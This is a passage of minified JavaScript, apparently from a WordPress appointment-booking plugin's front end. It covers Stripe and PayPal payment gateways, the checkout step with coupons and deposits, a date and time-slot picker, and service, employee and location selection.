t={payment_method:this.name,payment_intent_id:e.id};return this.paymentRequestButtonEvent.complete(\"success\"),this.paymentRequestButtonEvent=null,t})).catch((e=>{throw this.paymentRequestButtonEvent.complete(\"fail\"),this.paymentRequestButtonEvent=null,console.error(\"Unable to process payment.\",e.message),null!=t.error_handler&&t.error_handler(e.message),e}))}confirmPayment(e){return this.api.confirmCardPayment(e)}processPayment(e,t,i){return this.paymentRequestButtonEvent?this.proccessPaymentRequestButtonHandler(e,i):super.processPayment(e,t,i)}createControl(){return this.elements.create(this.name,{style:this.settings.style,hidePostalCode:this.settings.hide_postal_code})}}class Oe extends Fe{setupProperties(){this.name=\"sepa_debit\",this.title=u(\"SEPA Direct Debit\",\"motopress-appointment\")}confirmPayment(e,t){return this.api.confirmSepaDebitPayment(e)}createControl(){return this.elements.create(\"iban\",{style:this.settings.style,supportedCountries:[\"SEPA\"]})}}class Re extends Fe{setupProperties(){this.name=\"bancontact\",this.title=u(\"Bancontact\",\"motopress-appointment\")}confirmPayment(e,t){return this.api.confirmBancontactPayment(e,{return_url:t},{handleActions:!1})}}class Ne extends Fe{setupProperties(){this.name=\"ideal\",this.title=u(\"iDEAL\",\"motopress-appointment\")}confirmPayment(e,t){return this.api.confirmIdealPayment(e,{return_url:t},{handleActions:!1})}createControl(){return this.elements.create(\"idealBank\",{style:this.settings.style})}}class Ve extends Fe{setupProperties(){this.name=\"giropay\",this.title=u(\"Giropay\",\"motopress-appointment\")}confirmPayment(e,t){return this.api.confirmGiropayPayment(e,{return_url:t},{handleActions:!1})}}class qe extends Fe{setupProperties(){this.name=\"sofort\",this.title=u(\"SOFORT\",\"motopress-appointment\")}confirmPayment(e,t){return this.api.confirmSofortPayment(e,{return_url:t},{handleActions:!1})}createPaymentMethodData(e,t,i){let s=super.createPaymentMethodData(e,t,i);return s.sofort={country:this.settings.country},s}}class Ue extends xe{setupProperties(){super.setupProperties(),this.$gatewayPreloader=null,this.gatewayId=\"stripe\",this.methods=null,this.view=null}constructor(e,t){super(e,t),this.$gatewayPreloader=e.parent().find(\".mpa-payment-gateway-title .mpa-preloader\")}isValidAcceptTerms(){if(!m().settings().getTermsPageIdForAcceptance())return!0;const e=this.$mountWrapper.closest(\"form\").find(\".mpa-accept-terms\")[0];return!!e.checkValidity()||(e.reportValidity(),!1)}convertToSmallestUnit(e,t){switch(t||(t=m().settings().getCurrency()),t.toUpperCase()){case\"BIF\":case\"CLP\":case\"DJF\":case\"GNF\":case\"JPY\":case\"KMF\":case\"KRW\":case\"MGA\":case\"PYG\":case\"RWF\":case\"UGX\":case\"VND\":case\"VUV\":case\"XAF\":case\"XOF\":case\"XPF\":e=Math.floor(e);break;default:e=Math.round(100*e)}return e}getFormattedTotalPrice(){const e=this.cart.getOrder();let t=parseFloat(e.total);return this.cart.paymentDetails.deposit&&(t=parseFloat(e.deposit)),this.convertToSmallestUnit(t,m().settings().getCurrency().toLowerCase())}onClickPaymentRequestButton(e){this.isValidAcceptTerms()?this.methods.card.paymentRequest.update({total:{amount:this.getFormattedTotalPrice(),label:u(\"Total\",\"motopress-appointment\"),pending:!1}}):e.preventDefault()}onChange(e){this.haveErrors=!!e.error,this.haveErrors?this.view.showError(e.error.message):this.view.hideErrors()}onCartChange(e){this.isMounted&&0\u003Cthis.getFormattedTotalPrice()&&0===Object.keys(this.methods).length&&(this.$mountWrapper.empty(),this.mount(this.$mountWrapper))}mount(e){this.ready().then((()=>{this.methods=[],0\u003Cthis.getFormattedTotalPrice()&&(this.methods=this.createPaymentMethods()),this.view=new Me(this.methods),this.view.mount(e),this.addListeners()}))}processPayment(e,t){if(!this.isValid())return Promise.reject(new Error(\"The payment gateway is not valid.\"));this.$gatewayPreloader.removeClass(\"mpa-hide\");let i=this.view.selectedMethod,s=jQuery.extend({payment_method:i},this.settings,t),a={error_handler:this.view.showError.bind(this.view)};return this.methods[i].processPayment(e,s,a).then((e=>(this.$gatewayPreloader.addClass(\"mpa-hide\"),e)),(e=>{throw this.$gatewayPreloader.addClass(\"mpa-hide\"),e}))}getDefaults(){return jQuery.extend(super.getDefaults(),{hide_postal_code:!0,locale:\"auto\",payment_methods:[],public_key:\"\",style:{}})}createPaymentMethods(){let e=[];const t=Stripe(this.settings.public_key,{apiVersion:\"2023-10-16\"}),i=t.elements({mode:\"payment\",locale:this.settings.locale,currency:m().settings().getCurrency().toLowerCase(),amount:this.getFormattedTotalPrice(),payment_method_configuration:this.settings.payment_method_configuration});return this.settings.payment_methods.forEach((s=>{switch(s){case\"payment\":e.payment=new Be(t,i,this.settings),e.payment.provideCart(this.cart);break;case\"card\":e.card=new Le(t,i,this.settings),e.card.getControl().on(\"change\",this.onChange.bind(this)),e.card.isCanMakePaymentRequest().then((t=>{t&&(e.card.paymentRequest.on(\"token\",(async t=>e.card.processPaymentRequestButton(t))),e.card.paymentRequest.on(\"cancel\",(()=>{e.card.paymentRequestButtonEvent=null})),e.card.paymentRequestButton=e.card.createPaymentRequestButton(),e.card.paymentRequestButton.on(\"click\",this.onClickPaymentRequestButton.bind(this)))}));break;case\"sepa_debit\":e.sepa_debit=new Oe(t,i,this.settings),e.sepa_debit.getControl().on(\"change\",this.onChange.bind(this));break;case\"bancontact\":e.bancontact=new Re(t,i,this.settings);break;case\"ideal\":e.ideal=new Ne(t,i,this.settings);break;case\"giropay\":e.giropay=new Ve(t,i,this.settings);break;case\"sofort\":e.sofort=new qe(t,i,this.settings)}})),e}reset(){this.methods&&Object.entries(this.methods).forEach((([e,t])=>{t.reset()})),this.view&&this.view.reset()}}class He extends xe{setupProperties(){super.setupProperties(),this.gatewayId=\"paypal\"}enable(){super.enable(),this.isEnabled&&this.cart.getTotalPrice()>0&&this.$mountWrapper.closest(\"form\").find(\".mpa-button-next\").hide()}disable(){super.disable(),this.isEnabled||this.$mountWrapper.closest(\"form\").find(\".mpa-button-next\").show()}mount(e){let t=this;t.$errorWrapper=e.find(\".mpa-paypal-error\"),t.$gatewayPreloader=e.parent().find(\".mpa-payment-gateway-title .mpa-preloader\"),paypal.Buttons({onInit(e,i){if(m().settings().getTermsPageIdForAcceptance()){const e=t.$mountWrapper.closest(\"form\").find(\".mpa-accept-terms\")[0];e.checkValidity()||i.disable(),e.addEventListener(\"change\",(e=>{e.target.checked?i.enable():i.disable()}))}},onClick:function(e,i){if(m().settings().getTermsPageIdForAcceptance()){const e=t.$mountWrapper.closest(\"form\").find(\".mpa-accept-terms\")[0];e.checkValidity()||e.reportValidity()}0===t.cart.getTotalPrice()&&(t.paypalDetails={},jQuery(\".mpa-booking-step-payment .mpa-actions .mpa-button-next\").trigger(\"click\"))},createOrder:function(e,i){return t.$errorWrapper.addClass(\"mpa-hide\"),t.$gatewayPreloader.removeClass(\"mpa-hide\"),c(\"\u002Fpayments\u002Fprepare\",{payment_details:t.cart.paymentDetails}).then((e=>(t.$gatewayPreloader.addClass(\"mpa-hide\"),e)))},onApprove:function(e,i){return i.order.capture().then((function(e){t.paypalDetails=e,jQuery(\".mpa-booking-step-payment .mpa-actions .mpa-button-next\").trigger(\"click\")}))},onCancel:function(e){},onError:function(e){console.log(e),t.$errorWrapper.text(t.settings.paypal_error_message),t.$errorWrapper.removeClass(\"mpa-hide\")}}).render(e.find(\".mpa-paypal-container\")[0])}processPayment(e,t){return Promise.resolve({paypalDetails:this.paypalDetails})}}class We{static createGateways(e,t){let i={};for(let s of m().settings().getActiveGateways()){let a=e.find(\".mpa-\"+s+\"-payment-gateway .mpa-billing-fields\"),r=0!==a.length?We.createGateway(s,a,t):null;null!==r&&(i[s]=r)}return i.free=new Ae({},t),i}static createGateway(e,t,i){switch(e){case\"manual\":case\"test\":case\"cash\":case\"bank\":return new Ee(t,i);case\"paypal\":return new He(t,i);case\"stripe\":return new Ue(t,i);default:return wp.hooks.applyFilters(\"mpa_create_gateway\",null,e,t,i)}}}class je extends pe{setupProperties(){super.setupProperties(),this.lastCartHash=\"\",this.gatewayId=\"\",this.gateways={},this.bookingDetails={},this.$form=this.$element.find(\".mpa-checkout-form\"),this.$order=this.$element.find(\".mpa-order\"),this.$billingSection=this.$element.find(\".mpa-billing-details\"),this.$paymentGateways=this.$billingSection.find(\".mpa-payment-gateway\"),this.$paymentGatewayButtons=this.$paymentGateways.find('input[name=\"payment_gateway_id\"]'),this.$message=this.$element.find(\".mpa-message\").first(),this.acceptTerms=!1,this.onlinePayment=!1,this.isDepositDisabled=!1,this.$deposit=this.$element.find(\".mpa-deposit-section\"),this.$depositSwitcher=this.$element.find('input[name=\"mpa-deposit-switcher\"]'),this.$depositTable=this.$element.find(\"#mpa-deposit-table\"),m().settings().getTermsPageIdForAcceptance()&&(this.$acceptTerms=this.$element.find(\".mpa-accept-terms\")),this.couponSection=null}theId(){return\"payment\"}propertiesSchema(){return{gatewayId:{type:\"string\",default:\"\"},isDepositDisabled:{type:\"bool\",default:!1},acceptTerms:{type:\"bool\",default:!1}}}setErrorMessage(e){this.$message.html(e),this.$message.toggleClass(\"mpa-hide\",!e.trim().length)}clearErrorMessage(){this.setErrorMessage(\"\")}hideDeposit(){this.$deposit.addClass(\"mpa-hide\"),this.$depositSwitcher.prop(\"disabled\",!0),this.isDepositDisabled=!0}showDeposit(){this.$deposit.removeClass(\"mpa-hide\"),this.$depositSwitcher.prop(\"disabled\",!1),this.setProperty(\"isDepositDisabled\",this.$depositSwitcher.prop(\"checked\"))}toggleDepositSection(){const e=this.cart.getOrder();parseFloat(e.total)-parseFloat(e.deposit)&&this.onlinePayment?this.showDeposit():this.hideDeposit()}setGatewayId(e,t){this.setProperty(\"gatewayId\",e),this.onlinePayment=parseInt(t),this.toggleDepositSection(),this.cart.setPaymentDetails({gateway_id:this.gatewayId,deposit:!this.isDepositDisabled})}addListeners(){super.addListeners(),this.$form.on(\"submit\",(e=>!1)),this.$paymentGatewayButtons.on(\"change\",(e=>{this.setGatewayId(e.target.value,e.target.dataset.isOnlinePayment)})),m().settings().getTermsPageIdForAcceptance()&&this.$acceptTerms.on(\"input\",(e=>this.setProperty(\"acceptTerms\",e.target.checked))),this.$depositSwitcher.length>0&&this.$depositSwitcher.on(\"input\",(e=>{this.$depositTable.toggleClass(\"mpa-hide\",e.target.checked),this.setProperty(\"isDepositDisabled\",e.target.checked),this.cart.setPaymentDetails({deposit:!this.isDepositDisabled})})),this.$element.on(\"mpa_booking_step_disable\",this.disable.bind(this)),this.$element.on(\"mpa_booking_step_enable\",this.enable.bind(this)),this.$element.on(\"mpa_booking_coupon_applied\",(()=>{this.notifyCartChanged(),this.updateOrderDetails(),this.cart.setPaymentDetails({coupon_code:this.cart.hasCoupon()?this.cart.coupon.getCode():\"\"})}))}loadEntities(){this.isLoaded||this.$element.removeClass(\"mpa-hide\"),this.lastCartHash=this.cart.getHash(\"order\"),m().settings().isCouponsEnabled()&&(this.couponSection=new Te(this.$element.find(\".mpa-coupon-details\"),this.cart)),this.updateOrderDetails();let e=[];return\"free\"!==this.gatewayId?e.push(this.loadGateways()):this.loadGateways(),e.push(this.loadDrafts()),Promise.all(e).then((()=>(this.initDefaultGateway(),this)))}reload(){return this.clearErrorMessage(),this.cart.hasCoupon()&&this.cart.testCoupon(),this.couponSection&&(this.cart.hasCoupon()?this.couponSection.clearMessage():this.couponSection.reset()),this.updateOrderDetails(),this.cart.didChange(this.lastCartHash,\"order\")?(this.lastCartHash=this.cart.getHash(\"order\"),this.notifyCartChanged(),this.loadDrafts()):wp.hooks.applyFilters(\"mpa_booking_reload_drafts\",!1)?this.loadDrafts():Promise.resolve(this)}reset(){m().settings().getTermsPageIdForAcceptance()&&(this.$acceptTerms.prop(\"checked\",!1),this.resetProperty(\"acceptTerms\")),this.lastCartHash=\"\";let e=m().settings().getDefaultPaymentGateway();this.$paymentGatewayButtons.filter(\":checked\").prop(\"checked\",!1),e in this.gateways?(this.setProperty(\"gatewayId\",e),this.$paymentGatewayButtons.filter('[value=\"'+e+'\"]').prop(\"checked\",!0)):this.resetProperty(\"gatewayId\");for(let e in this.gateways)this.gateways[e].reset();this.couponSection&&this.couponSection.reset()}notifyCartChanged(){for(let e in this.gateways)this.gateways[e].onCartChange(this.cart)}updateOrderDetails(){if(this.$order.empty(),this.$order.html(be(this.cart.getOrder())),this.$depositTable.length>0){const e=function(e){const t=parseFloat(e.total)-parseFloat(e.deposit);let i=\"\";return t>0&&(i+='\u003Ctable class=\"widefat\">',i+=\"\u003Ctbody>\",i+='\u003Ctr class=\"mpa-deposit-title\">',i+='\u003Ctd class=\"column-title\" colspan=\"2\">',i+=u(\"Deposit\",\"motopress-appointment\"),i+=\"\u003C\u002Ftd>\",i+=\"\u003C\u002Ftr>\",i+='\u003Ctr class=\"mpa-deposit-now\">',i+='\u003Cth class=\"column-title\">',i+=u(\"Paying now\",\"motopress-appointment\"),i+=\"\u003C\u002Fth>\",i+='\u003Cth class=\"column-price\">',i+=_e(e.deposit),i+=\"\u003C\u002Fth>\",i+=\"\u003C\u002Ftr>\",i+='\u003Ctr class=\"mpa-deposit-left\">',i+='\u003Cth class=\"column-title\">',i+=u(\"Left to pay\",\"motopress-appointment\"),i+=\"\u003C\u002Fth>\",i+='\u003Cth class=\"column-price\">',i+=_e(t),i+=\"\u003C\u002Fth>\",i+=\"\u003C\u002Ftr>\",i+=\"\u003C\u002Ftbody>\",i+=\"\u003C\u002Ftable>\"),i}(this.cart.getOrder());this.$depositTable.html(e),this.$paymentGatewayButtons.filter(\":checked\").length>0&&this.toggleDepositSection()}let e=this.$order.find(\".mpa-remove-coupon\");e.length>0&&e.on(\"click\",this.removeCoupon.bind(this)),this.toggleAvailablePaymentMethods()}removeCoupon(e){e.preventDefault(),e.stopPropagation(),this.cart.removeCoupon(),this.couponSection.clearMessage(),this.cart.setPaymentDetails({coupon_code:\"\"}),this.notifyCartChanged(),this.updateOrderDetails(),this.couponSection.reset()}toggleAvailablePaymentMethods(){const e=0===this.cart.getTotalPrice();if(e)this.setGatewayId(\"free\",!1);else{const e=this.$paymentGatewayButtons.filter(\":checked\");e.length>0&&this.setGatewayId(e[0].value,e[0].dataset.isOnlinePayment)}this.$billingSection.toggleClass(\"mpa-hide\",e),this.$paymentGatewayButtons.prop(\"required\",!e)}loadGateways(){let e=this.$billingSection.find(\".mpa-payment-gateways\");this.gateways=We.createGateways(e,this.cart);let t=[];for(let e in this.gateways)t.push(this.gateways[e].load());return t}loadDrafts(){const e={...this.cart.toArray(),payment:!0};return c(\"\u002Fbookings\u002Fdraft\",{...wp.hooks.applyFilters(\"mpa_booking_draft_data\",e),nonce:mpaData.nonces.mpa_create_drafts}).then((e=>{this.bookingDetails={booking_id:e.booking_id,payment_id:e.payment_id};const t={booking_id:e.booking_id,payment_id:e.payment_id};this.cart.setPaymentDetails(t),this.cart.setBookingNonce(e.booking_nonce)}),(e=>{this.setErrorMessage(e.message)})).then((()=>(this.enableGateways(),this)))}enableGateways(){this.$paymentGatewayButtons.prop(\"disabled\",!1)}initDefaultGateway(){let e=this.$paymentGatewayButtons.filter(\":checked\");e.length>0&&this.gateways[e.val()].enable()}isValidInput(){return this.isValidGatewayId()&&this.isValidGateway()&&this.isValidAcceptTerms()}isValidGatewayId(){return\"\"!==this.gatewayId}isValidGateway(){return!(this.gatewayId in this.gateways)||this.gateways[this.gatewayId].isValid()}isValidAcceptTerms(){return!m().settings().getTermsPageIdForAcceptance()||this.acceptTerms}afterUpdate(e,t,i){i in this.gateways&&this.gateways[i].disable(),t in this.gateways&&this.gateways[t].enable()}react(){super.react(),this.$buttonNext.prop(\"disabled\",!1)}maybeSubmit(){if(this.couponSection&&this.couponSection.disable(),this.gatewayId in this.gateways){let e=this.gateways[this.gatewayId].processPayment(this.cart,this.bookingDetails);return\"object\"==typeof e&&\"function\"==typeof e.then&&e.then((e=>(this.cart.setPaymentDetails(e),e)),(e=>{this.setErrorMessage(e.message)})),e}}cancelSubmission(){super.cancelSubmission(),this.couponSection&&this.couponSection.enable()}}class ze extends pe{setupProperties(){super.setupProperties(),this.cartItem=null,this.lastHash=\"\",this.monthSlots={},this.date=\"\",this.time=\"\",this.datepicker=null,this.$dateWrapper=this.$element.find(\".mpa-date-wrapper\"),this.$dateInput=this.$element.find(\".mpa-date\"),this.$timeWrapper=this.$element.find(\".mpa-time-wrapper\"),this.$times=this.$timeWrapper.find(\".mpa-times\"),this.lookedAheadMonths=0,this.maxLookAheadMonths=12,this.isSelectedFirstAvailableSlot=!1,this.availabilityService=null}setAvailabilityService(e){this.availabilityService=e}theId(){return\"period\"}getCartContext(){return\"cart item\"}propertiesSchema(){return{date:{type:\"string\",default:\"\"},time:{type:\"string\",default:\"\"}}}addListeners(){super.addListeners(),this.$dateInput.on(\"change\",(e=>this.setProperty(\"date\",e.target.value)))}loadEntities(){return this.cartItem=this.cart.getActiveItem(),this.lastHash=this.cartItem.getHash(\"availability\"),Promise.resolve(this)}reload(){return this.cartItem.didChange(this.lastHash,\"availability\")?(this.$element.removeClass(\"mpa-loaded\"),this.resetDate(),this.readyPromise=this.loadEntities(),this.monthSlots={},null!=this.datepicker&&(this.setEnabledDays([]),this.readyPromise.finally((()=>this.resetEnabledDays()))),this.readyPromise):Promise.resolve(this)}reset(){this.cartItem=this.cart.getActiveItem(),this.lastHash=\"\",this.monthSlots={},this.resetDate()}isValidInput(){return\"\"!=this.date&&\"\"!=this.time}resetDate(){this.resetProperty(\"date\")}resetTime(){this.$times.empty(),this.resetProperty(\"time\")}setEnabledDays(e){F(e,!0)?this.datepicker.set(\"enable\",[\"2000-01-01\"]):this.datepicker.set(\"enable\",e)}afterUpdate(e,t,i){\"date\"==e&&(\"\"==t?this.resetTime():this.resetTimeSlots())}react(){super.react(),this.$timeWrapper.toggleClass(\"mpa-hide\",\"\"==this.date)}showReady(){super.showReady(),null==this.datepicker&&(this.showDatepicker(),this.resetEnabledDays())}showDatepicker(){this.datepicker=function(e,t){let i=t.locale||m().settings().getFlatpickrLocale(),s=flatpickr.l10ns[i]||i;\"object\"==typeof s&&(s.firstDayOfWeek=m().settings().getFirstDayOfWeek());let a={formatDate:f,inline:!0,locale:s,monthSelectorType:\"static\",showMonths:1};t=jQuery.extend({},a,t);let r=null;return r=e instanceof jQuery?flatpickr(e[0],t):flatpickr(e,t),r}(this.$dateInput,this.getDatepickerArgs())}getDatepickerArgs(){return{minDate:m().settings().getBusinessDate(),onMonthChange:()=>this.resetEnabledDays()}}maybeSubmit(){let e=this.cartItem;if(e.date=b(this.date),e.time=new Y(this.time),e.date&&e.time&&e.time.setDate(e.date),null===e.employee||null===e.location){let t=this.autoselectIds(),i=t[0],s=t[1];null===e.employee&&e.setEmployee(i,!1),null===e.location&&e.setLocation(s,!1)}let t=this.getCurrentMonthKey();this.cartItem.setBookingVariants(this.monthSlots[t][this.date][this.time]),document.dispatchEvent(new CustomEvent(\"mpa_add_to_cart\",{detail:{cartItem:e,currencyCode:m().settings().getCurrency()}})),document.dispatchEvent(new CustomEvent(\"mpa_view_cart\",{detail:{cart:this.cart,currencyCode:m().settings().getCurrency()}}))}selectFirstDateTimeSlot(){let e=this.datepicker.currentYear,t=this.datepicker.currentMonth,i=this.getMonthKey(e,t);const s=this.monthSlots[i];if(s&&Object.keys(s).length>0){const e=Object.keys(s)[0],t=Object.keys(s[e])[0];this.datepicker.setDate(e,!0);this.$times.children(\".mpa-time-period\").filter(((e,i)=>i.getAttribute(\"date-time\")===t)).trigger(\"click\"),this.isSelectedFirstAvailableSlot=!0}else{if(!0===this.isSelectedFirstAvailableSlot)return;if(this.lookedAheadMonths>=this.maxLookAheadMonths)return this.datepicker.changeMonth(-this.lookedAheadMonths),void(this.isSelectedFirstAvailableSlot=!0);this.lookedAheadMonths+=1,this.datepicker.changeMonth(1),this.reload()}}autoselectIds(){let e=[0,0],t=this.getCurrentMonthKey();if(this.monthSlots[t]&&this.monthSlots[t][this.date]){let i=this.monthSlots[t][this.date];for(let t in i)if(t===this.time){let s=i[t];e[0]=s[0][0],e[1]=s[0][1];break}}return e}waitForServiceToLoad(){let e=this.availabilityService.getServicePromise();return null!==e?e:Promise.resolve(this.cartItem.getService())}resetEnabledDays(){this.resetDate(),this.setEnabledDays([]),this.$dateWrapper.removeClass(\"mpa-loaded\");let e=this.datepicker.currentYear,t=this.datepicker.currentMonth,i=this.getMonthKey(e,t),s=null;if(this.monthSlots[i])s=Promise.resolve(this.monthSlots[i]);else{s=function(e,t,i,s){return h(\"\u002Fcalendar\u002Ftime\",{service_id:e,employee_in:s.employee_in?s.employee_in.join(\",\"):\"\",location_in:s.location_in?s.location_in.join(\",\"):\"\",date_from:f(t,\"internal\"),date_to:f(i,\"internal\"),exclude_cart:s.exclude_cart?s.exclude_cart:[]}).catch((e=>console.error(\"Failed to make time slots in mpa_time_slots().\",e.message)||{}))}(this.cartItem.service.id,new Date(e,t,1),new Date(e,t+1,1),this.getTimeSlotsQueryArgs())}Promise.all([s,this.waitForServiceToLoad()]).then((e=>{let t=e[0];this.monthSlots[i]=t,this.setEnabledDays(Object.keys(t)),this.$dateWrapper.addClass(\"mpa-loaded\"),this.selectFirstDateTimeSlot()}))}getTimeSlotsQueryArgs(){let e=this.cartItem.getEmployeeId(),t=this.cartItem.getLocationId();return{employee_in:e?[e]:this.cartItem.getAvailableEmployeeIds(),location_in:t?[t]:this.cartItem.getAvailableLocationIds(),exclude_cart:this.cart.toArray(\"items\")}}resetTimeSlots(){this.resetTime();let e={},t=this.getCurrentMonthKey();null!=this.monthSlots[t][this.date]&&(e=this.monthSlots[t][this.date]);let i=0;for(let t in e){let s=new Y(t).toString(\"public\",'\u003Cspan class=\"mpa-period-end-time\"> - ')+\"\u003C\u002Fspan>\",a=this.cartItem.getService();if(a.isGroupService()){let i=a.getMinCapacity();for(let s of e[t])i=Math.max(i,s[3]);s+=\" \",s+='\u003Cspan class=\"mpa-slot-capacity\">',s+='\u003Cspan class=\"mpa-slot-capacity-label\">'+a.getQuantityLabel()+\":\u003C\u002Fspan>\",s+=\"&nbsp;\",s+='\u003Cspan class=\"mpa-slot-capacity-number\">'+i+\"\u003C\u002Fspan>\",s+=\"\u003C\u002Fspan>\"}let r=ye(s,{class:\"button button-secondary mpa-time-period\",\"date-time\":t});this.$times.append(r),i++}i>0?this.$times.children(\".mpa-time-period\").on(\"click\",(e=>this.onTime(e,e.currentTarget))):this.$times.text(u(\"Sorry, but we were unable to allocate time slots for the date you selected.\",\"motopress-appointment\"))}getMonthKey(e,t){return t\u003C=8?e+\"-0\"+(t+1):e+\"-\"+(t+1)}getCurrentMonthKey(){if(\"\"!==this.date){let e=b(this.date);return this.getMonthKey(e.getFullYear(),e.getMonth())}return\"2000-01\"}onTime(e,t){this.$times.children(\".mpa-time-period-selected\").removeClass(\"mpa-time-period-selected\"),t.classList.add(\"mpa-time-period-selected\"),this.setProperty(\"time\",t.getAttribute(\"date-time\"))}}class Ge extends pe{setupProperties(){super.setupProperties(),this.availabilityService=null,this.category=\"\",this.serviceId=0,this.employeeId=0,this.locationId=0,this.isHiddenStep=!0,this.$form=this.$element.find(\".mpa-service-form\"),this.$categories=this.$element.find(\".mpa-service-category-wrapper\"),this.$services=this.$element.find(\".mpa-service-wrapper\"),this.$employees=this.$element.find(\".mpa-employee-wrapper\"),this.$locations=this.$element.find(\".mpa-location-wrapper\"),this.$selects=this.$element.find(\".mpa-input-wrapper select\"),this.$categoriesSelect=this.$selects.filter(\".mpa-service-category\"),this.$servicesSelect=this.$selects.filter(\".mpa-service\"),this.$employeesSelect=this.$selects.filter(\".mpa-employee\"),this.$locationsSelect=this.$selects.filter(\".mpa-location\"),this.unselectedServiceText=this.$servicesSelect.children('[value=\"\"]').text(),this.unselectedOptionText=this.$selects.filter(\".mpa-optional-select\").first().find(\"option:first\").text()}setAvailabilityService(e){this.availabilityService=e}theId(){return\"service-form\"}getCartContext(){return\"cart item\"}propertiesSchema(){return{category:{type:\"string\",default:\"\"},serviceId:{type:\"integer\",default:0},employeeId:{type:\"integer\",default:0},locationId:{type:\"integer\",default:0}}}addListeners(){super.addListeners(),this.$form.on(\"submit\",this.submitForm.bind(this)),this.$categoriesSelect.on(\"change\",(e=>this.setProperty(\"category\",e.target.value))),this.$servicesSelect.on(\"change\",(e=>this.setProperty(\"serviceId\",e.target.value))),this.$employeesSelect.on(\"change\",(e=>this.setProperty(\"employeeId\",e.target.value))),this.$locationsSelect.on(\"change\",(e=>this.setProperty(\"locationId\",e.target.value)))}isHiddenElementByProp(e){const t=e.attr(\"data-is-hidden\");return void 0!==t&&\"false\"!==t}initCategoriesSelect(){if(0==this.$categoriesSelect.length)return;this.updateCategorySchema();let e=this.$categoriesSelect.val(),t=this.isHiddenElementByProp(this.$categoriesSelect);if(this.$categoriesSelect.attr(\"data-default\")){const i=this.$categoriesSelect.attr(\"data-default\");this.isValidCategoryBySchema(i)?e=i:t=!1}this.setProperty(\"category\",e),this.renderCategorySelect(),t||(this.isHiddenStep=!1),this.$categories.toggleClass(\"mpa-hide\",t)}initServicesSelect(){if(0==this.$servicesSelect.length)return;this.updateServiceSchema();let e=this.$servicesSelect.val(),t=this.isHiddenElementByProp(this.$servicesSelect);if(this.$servicesSelect.attr(\"data-default\")){const i=W(this.$servicesSelect.attr(\"data-default\"));this.isValidServiceBySchema(i)?e=i:t=!1}this.setProperty(\"serviceId\",e),this.renderServiceSelect(),t||(this.isHiddenStep=!1),this.$services.toggleClass(\"mpa-hide\",t)}initEmployeesSelect(){if(0==this.$employeesSelect.length)return;this.updateEmployeeSchema();let e=this.$employeesSelect.val(),t=this.isHiddenElementByProp(this.$employeesSelect);if(this.$employeesSelect.attr(\"data-default\")){const i=W(this.$employeesSelect.attr(\"data-default\"));this.isValidEmployeeBySchema(i)?e=i:t=!1}this.setProperty(\"employeeId\",e),this.renderEmployeeSelect(),t||(this.isHiddenStep=!1),this.$employees.toggleClass(\"mpa-hide\",t)}initLocationsSelect(){if(0==this.$locationsSelect.length)return;this.updateLocationSchema();let e=this.$locationsSelect.val(),t=this.isHiddenElementByProp(this.$locationsSelect);if(this.$locationsSelect.attr(\"data-default\")){const i=W(this.$locationsSelect.attr(\"data-default\"));this.isValidLocationBySchema(i)?e=i:t=!1}this.setProperty(\"locationId\",e),this.renderLocationSelect(),t||(this.isHiddenStep=!1),this.$locations.toggleClass(\"mpa-hide\",t)}loadEntities(){return this.availabilityService.ready().finally((()=>(this.initServicesSelect(),this.initCategoriesSelect(),this.initEmployeesSelect(),this.initLocationsSelect(),this)))}reset(){let e={category:this.$categoriesSelect,serviceId:this.$servicesSelect,employeeId:this.$employeesSelect,locationId:this.$locationsSelect};this.preventReact=!0;for(let t in e){let i=e[t].attr(\"data-default\");i?this.setProperty(t,i):this.resetProperty(t)}this.preventReact=!1,this.isActive&&this.react()}isValidInput(){return 0!=this.serviceId}updateCategorySchema(){const e=this.availabilityService.getAvailableServiceCategories();this.schema.category.options=Object.keys(e)}updateServiceSchema(){const e=this.availabilityService.getAvailableServices(this.category,this.locationId,this.employeeId);this.schema.serviceId.options=Object.keys(e).map(W)}updateEmployeeSchema(){const e=this.availabilityService.getAvailableEmployees(this.serviceId,this.locationId);this.schema.employeeId.options=Object.keys(e).map(W)}updateLocationSchema(){const e=this.availabilityService.getAvailableLocations(this.serviceId,this.employeeId);this.schema.locationId.options=Object.keys(e).map(W)}isValidCategoryBySchema(e){return this.schema.category.options.includes(e)}isValidServiceBySchema(e){return this.schema.serviceId.options.includes(e)}isValidLocationBySchema(e){return this.schema.locationId.options.includes(e)}isValidEmployeeBySchema(e){return this.schema.employeeId.options.includes(e)}afterUpdate(e,t,i){if(this.updateCategorySchema(),this.updateServiceSchema(),this.updateEmployeeSchema(),this.updateLocationSchema(),\"category\"===e){let e=this.availabilityService.getAvailableServices(this.category,this.locationId,this.employeeId);this.serviceId in e||(this.resetProperty(\"serviceId\"),this.resetProperty(\"employeeId\"),this.resetProperty(\"locationId\"))}}react(){super.react(),this.$categoriesSelect.val(this.category||\"\"),this.$servicesSelect.val(this.serviceId||\"\"),this.$employeesSelect.val(this.employeeId),this.$locationsSelect.val(this.locationId),this.$categoriesSelect.toggleClass(\"mpa-selected\",\"\"!=this.category),this.$servicesSelect.toggleClass(\"mpa-selected\",0!=this.serviceId),this.$employeesSelect.toggleClass(\"mpa-selected\",0!=this.employeeId),this.$locationsSelect.toggleClass(\"mpa-selected\",0!=this.locationId),this.renderCategorySelect(),this.renderServiceSelect(),this.renderEmployeeSelect(),this.renderLocationSelect(),this.$buttonNext.prop(\"disabled\",!1)}renderCategorySelect(){this.preventUpdate=!0;const e=Object.values(this.availabilityService.getServiceCategoriesTree()),t=this.availabilityService.categoryIndexes.map(String);let i;const s=parseInt(this.serviceId,10);if(s>0){const t=this.availabilityService.getServiceCategories(s);i=ne(re(e,Object.keys(t)))}else i=null;const a=oe(e,t,i),r=this.category||\"\";Ce(this.$categoriesSelect,{\"\":this.unselectedOptionText},a,r),this.preventUpdate=!1}renderServiceSelect(){this.preventUpdate=!0;const e=this.availabilityService.getAvailableServices(this.category,this.locationId,this.employeeId),t=this.availabilityService.serviceIndexes.filter((t=>e.hasOwnProperty(t))).map((t=>({id:t,name:e[t]}))),i=0===this.serviceId?\"\":String(this.serviceId);Ce(this.$servicesSelect,{\"\":this.unselectedServiceText},t,i),this.preventUpdate=!1}renderEmployeeSelect(){this.preventUpdate=!0;const e=this.availabilityService.getAvailableEmployees(this.serviceId,this.locationId),t=this.availabilityService.employeeIndexes.filter((t=>e.hasOwnProperty(t))).map((t=>({id:t,name:e[t]}))),i=0===this.employeeId?\"0\":String(this.employeeId);Ce(this.$employeesSelect,{0:this.unselectedOptionText},t,i),this.preventUpdate=!1}renderLocationSelect(){this.preventUpdate=!0;const 